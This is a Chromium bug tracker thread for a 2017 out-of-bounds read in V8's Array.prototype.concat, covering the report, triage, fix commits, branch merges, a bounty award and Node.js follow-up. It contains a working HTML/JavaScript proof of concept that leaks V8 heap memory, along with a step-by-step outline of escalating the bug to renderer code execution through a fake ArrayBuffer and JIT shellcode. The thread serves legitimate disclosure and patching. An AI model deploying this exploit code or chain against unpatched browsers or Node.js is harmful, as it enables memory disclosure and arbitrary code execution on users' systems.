Security: Out-of-bounds read in V8 Array.concat
Reported by
btis...@gmail.com,
Jan 18 2017
|
|||||||||||||||||||||||||||||||
Issue description
This is a dupe of 681761. I rewrote it to follow the security template, sorry :).
VULNERABILITY DETAILS
During Array.concat() the `visitor` variable is created which is what is returned after the function is complete. The type of the `visitor` variable is determined by the first argument sent to `Array.prototype.concat.call`.
When the objects being passed to concat are being placed into `visitor`, if the visitor function is not a fixed_array() `JSReceiver::CreateDataProperty` is called. This function can trigger callbacks in some instances.
When `JSReceiver::CreateDataProperty` is called on a JSProxy, after a long line of functions, eventually `JSProxy::DefineOwnProperty` is called which calls `Object::GetMethod` on the `defineProperty` property (`Object::GetMethod` triggers getters). It is possible to trigger this callback
during Array.concat() by setting a getter `Object.prototype.__defineGetter__("defineProperty", evil_callback)`.
In this callback we can change the size of the `visitor` object in the middle of it's iteration. When this is paired with garbage collection it leads to on out of bounds read.
In the comment below I go into more detail about how these functions get called with specific lines of code and function names.
VERSIONS
Chrome Version: 55.0.2883.87 (Official Build) m (64-bit)
Operating System: Microsoft Windows 10 Version 1607 (OS Build 14393.693)
Chrome Version: 57.0.2985.0 (Developer Build) (64-bit)
Operating System: Ubuntu 14.04
note: There is DCHECK() in place to check for OOB in debug builds but this is disabled for Release builds
REPRODUCTION CASE
I have included a few proofs of concept,
poc1.html <--- This demonstrates the OOB read primitive to get a memory leak off the v8 heap
poc2.html <--- Demonstrates a reliable crash
poc3.html <--- memory leak with floats converted to hex
FOR CRASHES, PLEASE INCLUDE THE FOLLOWING ADDITIONAL INFORMATION
Type of crash: renderer process
I have attached the output from debug running poc2.html in crash.log with DCHECK turned off
,
Jan 18 2017
Issue 681761 has been merged into this issue.
,
Jan 18 2017
ClusterFuzz is analyzing your testcase. Developers can follow the progress at https://cluster-fuzz.appspot.com/testcase?key=6165994306535424
,
Jan 18 2017
ClusterFuzz is analyzing your testcase. Developers can follow the progress at https://cluster-fuzz.appspot.com/testcase?key=5790886358417408
,
Jan 18 2017
,
Jan 19 2017
<html>
<script>
var p = new Proxy([], {});
var b_dp = Object.prototype.defineProperty;
class MyArray extends Array {
static get [Symbol.species]() { return function() { return p; }}; // custom constructor which returns a proxy object
}
var w = new MyArray(100);
w[1] = 0.1;
w[2] = 0.1;
function gc() {
for (var i = 0; i < 0x100000; ++i) {
var a = new String();
}
}
function evil_callback() {
w.length = 1; // shorten the array so the backstore pointer is relocated
gc(); // force gc to move the array's elements backstore
return b_dp;
}
Object.prototype.__defineGetter__("defineProperty", evil_callback);
var c = Array.prototype.concat.call(w);
for (var i = 0; i < 20; i++) { // however many values you want to leak
document.write(c[i]);
document.write("<br />");
}
</script>
</html>
Result: (the exact double values will differ, they represent pointers and values on the v8 heap)
undefined
0.1
0.1
2.0213051714663e-311
1.6224401155253e-311
1.8777225723384e-311
1.2731974746e-313
2.021305197901e-311
1.6224401155253e-311
1.6224401155253e-311
1.622440115628e-311
1.622440115628e-311
2.021305197901e-311
1.6224401155253e-311
1.6224401155253e-311
6.9528267993505e-310
We get leaked information from the v8 heap that we can read and write to.
,
Jan 19 2017
,
Jan 20 2017
Adding triage labels. I'm assuming V8 counts as "an out-of-bounds read in a renderer process" here.
,
Jan 20 2017
,
Jan 20 2017
,
Jan 23 2017
RCE Exploit in the renderer process: I used this vulnerability to achieve code execution in the renderer process on x64. Steps ===== 1.) Trigger the vulnerability on a normal FAST_DOUBLE type in Array.concat(). This is our initial memory leak. I managed to trigger garbage collection in a way so that pointer values to our own custom objects would appear in the resulting array. 2.) Using these pointers (represented as doubles) I found the address of an ArrayBuffer I allocated, a Text object I allocated, and an Array's backstore pointer that I had control of. 3.) Using the Array I controlled I created a fake ArrayBuffer using the leaked pointers (represented as doubles) from leaking the old ArrayBuffer I allocated legitimately. 4.) Next I triggered the vulnerability again but this time on a FAST_ELEMENTS type. This gave me access to the fake ArrayBuffer I positioned in the heap (I gave it a very large byteLength). From here I could edit the fake ArrayBuffer's backstore pointer at any time because I still had a reference to the first Array that I used to build this fake ArrayBuffer. This gives us an arbitrary read/write. 5.) With the arbitrary read write I leaked the JIT address by finding a JSFunction on the heap. Then re-positioned the fake ArrayBuffer's backstore pointer to the JIT address, overwrote the contents of the RWX memory it with shellcode, and called the JSFunction. This gives us arbitrary code execution in the renderer process. I've attached two exploits. One for linux and one for windows. The exploit for linux has shellcode that copies /etc/passwd to /tmp/aaa, the exploit for windows has shellcode that `int 3` quite a few times to trap the debugger. For Linux I ran: google-chrome --no-sandbox linux_exploit.html or google-chrome --no-sandbox and navigated to the webserver Linux VERSION: 55.0.2883.87 (Official Build) (64-bit) OS: Updated Ubuntu 14.04 For Windows I ran: same as linux but on the alert attach Windbg to the renderer process when the alert pops up. Windows Chrome Version: 55.0.2883.87 (Official Build) m (64-bit) Operating System: Microsoft Windows 10 Version 1607 (OS Build 14393.693)
,
Jan 23 2017
Will start with the fix today. Thanks for the detailed report!
,
Jan 24 2017
lgarron: jochen: Following that last comment I made about using this bug to get code execution in the renderer process I believe this could fall under "A bug that allows arbitrary code execution within the confines of the sandbox, such as renderer or GPU process memory corruption"
,
Jan 25 2017
#14 is correct. Bumping this to High.
,
Jan 25 2017
,
Jan 25 2017
[runtime] Fix Array.prototype.concat with complex @@species Array.prototype.concat does not properly handle JSProxy species that will modify the currently visited array. BUG= 682194 Review-Url: https://codereview.chromium.org/2655623004 Cr-Commit-Position: refs/heads/master@{#42640} Committed: https://chromium.googlesource.com/v8/v8/+/e5608155aeb18a76fdb495d446efe1f9e33e749b
,
Jan 25 2017
Let's wait for it to bake a couple of days before we start the backmerging.
,
Jan 25 2017
This bug requires manual review: We are only 5 days from stable. Please contact the milestone owner if you have questions. Owners: amineer@(clank), cmasso@(bling), gkihumba@(cros), bustamante@(desktop) For more details visit https://www.chromium.org/issue-tracking/autotriage - Your friendly Sheriffbot
,
Jan 25 2017
+bustamante as FYI. Is there a reason this didn't have a release block label? Is this absolutely necessary for M56? We're already starting to ship it...
,
Jan 25 2017
I'm OK not blocking 56 on this, but we should merge it into the branch after sufficient bake time so we pick it up if we spin for another reason.
,
Jan 26 2017
Please mark security bugs as fixed as soon as the fix lands, and before requesting merges. This update is based on the merge- labels applied to this issue. Please reopen if this update was incorrect. For more details visit https://www.chromium.org/issue-tracking/autotriage - Your friendly Sheriffbot
,
Jan 26 2017
Your change meets the bar and is auto-approved for M57. Please go ahead and merge the CL to branch 2987 manually. Please contact milestone owner if you have questions. Owners: amineer@(clank), cmasso@(bling), ketakid@(cros), govind@(desktop) For more details visit https://www.chromium.org/issue-tracking/autotriage - Your friendly Sheriffbot
,
Jan 26 2017
If possible, pls merge your change to M57 branch 2987 before 5:00 PM PT today (Thursday, 01/26) so we can pick it for tomorrow's Dev release.
,
Jan 26 2017
Merged: [runtime] Fix Array.prototype.concat with complex @@species Revision: e5608155aeb18a76fdb495d446efe1f9e33e749b BUG= 682194 LOG=N NOTRY=true NOPRESUBMIT=true NOTREECHECKS=true R=verwaest@chromium.org Review-Url: https://codereview.chromium.org/2658113002 Cr-Commit-Position: refs/branch-heads/5.7@{#27} Cr-Branched-From: 975e9a320b6eaf9f12280c35df98e013beb8f041-refs/heads/5.7.492@{#1} Cr-Branched-From: 8d76f0e3465a84bbf0bceab114900fbe75844e1f-refs/heads/master@{#42426} Committed: https://chromium.googlesource.com/v8/v8/+/fbcc5463a0e79ab95e150fbe4b804a8c6baa8ba2
,
Jan 27 2017
,
Jan 27 2017
Based on comments in #20 #21 and that the fix is fairly small, approving merge into M56.
,
Jan 27 2017
Pls merge your change to M57 branch 2987 before 5:00 PM PT Monday (01/30) so we can pick it up for next week Last M57 Dev release. Thank you.
,
Jan 28 2017
Krishna, it's already in M57, see c#25. cbruni@, please merge ASAP on Monday your time.
,
Jan 28 2017
Rather, please merge to M56 ASAP your time on Monday.
,
Jan 28 2017
will perform the merge tomorrow night.
,
Jan 30 2017
Too busy weekend, currently in MTV will do the backmerge tomorrow 7AM PST.
,
Jan 30 2017
,
Jan 31 2017
This needs to be merged ASAP if you want it to make the next M56 stable release.
,
Jan 31 2017
Sorry, merge happened this morning: Merged: [runtime] Fix Array.prototype.concat with complex @@species Revision: e5608155aeb18a76fdb495d446efe1f9e33e749b BUG= 682194 LOG=N NOTRY=true NOPRESUBMIT=true NOTREECHECKS=true R=jkummerow@chromium.org Review-Url: https://codereview.chromium.org/2666543004 . Cr-Commit-Position: refs/branch-heads/5.6@{#92} Cr-Branched-From: bdd3886218dfe76e8560eb8a18401942452ae859-refs/heads/5.6.326@{#1} Cr-Branched-From: 879f6599eee6e1dfcbe9a24bf688b261c03e9558-refs/heads/master@{#41014} Committed: https://chromium.googlesource.com/v8/v8/+/8b0e98df72e727f29cd4f67a67492b3fd4c2fa2e
,
Jan 31 2017
This issue has been approved for a merge. Please merge the fix to any appropriate branches as soon as possible! If all merges have been completed, please remove any remaining Merge-Approved labels from this issue. Thanks for your time! To disable nags, add the Disable-Nags label. For more details visit https://www.chromium.org/issue-tracking/autotriage - Your friendly Sheriffbot
,
Jan 31 2017
,
Feb 6 2017
,
Feb 6 2017
Congratulations! The panel decided to award $7,500 for this great report! A member of our finance team will be in touch shortly to arrange payment. *** Boilerplate reminders! *** Please do NOT publicly disclose details until a fix has been released to all our users. Early public disclosure may cancel the provisional reward. Also, please be considerate about disclosure when the bug affects a core library that may be used by other products. Please do NOT share this information with third parties who are not directly involved in fixing the bug. Doing so may cancel the provisional reward. Please be honest if you have already disclosed anything publicly or to third parties. Lastly, we understand that some of you are not interested in money. We offer the option to donate your reward to an established charity. If you prefer this option, let us know and we will also match your donation - subject to our discretion. Any rewards that are unclaimed after 12 months will be donated to a charity of our choosing. *********************************
,
Feb 6 2017
,
Feb 14 2017
,
Mar 6 2017
,
Mar 8 2017
,
Mar 17 2017
This also affects Node.js v7.x (V8 5.1), and v6.x (V8 5.5) – although the security impact is not high. I will handle releasing the fix on the Node.js side.
,
May 1 2017
,
May 1 2017
,
Oct 11 2017
Node v6.x PR: https://github.com/nodejs/node/pull/16133
,
Jan 24 2018
Issue 804971 has been merged into this issue.
,
Mar 6 2018
,
Apr 25 2018
,
Jun 20 2018
,
Jun 26 2018
,
Jun 26 2018
|
|||||||||||||||||||||||||||||||
►
Sign in to add a comment |
|||||||||||||||||||||||||||||||
Comment 1 by btis...@gmail.com
, Jan 18 2017